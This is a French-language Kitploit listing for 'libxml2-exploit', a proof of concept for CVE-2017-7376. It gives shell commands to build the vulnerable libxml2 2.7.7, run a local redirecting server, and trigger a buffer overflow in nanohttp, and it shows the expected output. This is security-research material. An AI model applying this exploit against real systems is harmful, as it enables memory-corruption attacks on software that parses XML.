Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
libxml2-exploit — Un exemple d'exploit pour CVE-2017-7376 | Kitploit
Outils/GitHubGitHub/brahmstaedt/libxml2-exploit
Analyse des VulnérabilitésExploitationSécurité WebFuzzingExploitation de Binaires
GitHubbrahmstaedt/libxml2-exploit

libxml2-exploit

Un exemple d'exploit pour CVE-2017-7376

Voir le dépôt
33il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

libxml2-exploit

Un exemple d'exploit pour CVE-2017-7376

Installation

Téléchargez ce dépôt ainsi qu'une version vulnérable de libxml2, par exemple v2.7.7 :

root@kitploit:~
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2

Configuration

root@kitploit:~
cd libxml2

préparation de libxml2

Pour rendre la réussite de l'exploit plus visible, ajoutez du code pour détecter le dépassement de tampon dans libxml2. Pas nécessaire si vous disposez d'autres moyens de visibilité, comme le crash de l'application.

root@kitploit:~
git apply ../nanohttp.patch

compilation de libxml2

root@kitploit:~
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install

En cas d'erreur suivante :

root@kitploit:~
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'

Remplacez dans configure.in AM_C_PROTOTYPES par dnl AM_C_PROTOTYPES, par exemple comme ceci :

root@kitploit:~
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i

Revenez en arrière

root@kitploit:~
cd ..

préparation du serveur web

Cet exploit nécessite un serveur web répondant par une redirection vers une nouvelle URL avec un numéro de port supérieur à 5 chiffres et inférieur à int32max (2147483648 = 2^32/2).

Lancez le serveur (nécessite Node JS et que le port 127.0.0.1:8080 soit libre) :

root@kitploit:~
node http.js &

Testez le serveur web ; il devrait se plaindre d'un numéro de port invalide 2147426192 :

root@kitploit:~
wget localhost:8080

Compilation

root@kitploit:~
make

Exécution

root@kitploit:~
./run.sh

Sortie attendue :

root@kitploit:~
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml

À faire

Cet exploit de démonstration nécessite que le programme principal exécute xmlXIncludeProcess() pour atteindre le code défectueux dans libxml2, ce qui n'est probablement pas utilisé dans de nombreuses implémentations réelles. Mais nanohttp.c mentionne dans son commentaire qu'il s'agit d'une implémentation HTTP GET minimaliste pour récupérer des sous-ensembles externes ce qui pourrait offrir une autre voie d'exploitation.

Télécharger l’outil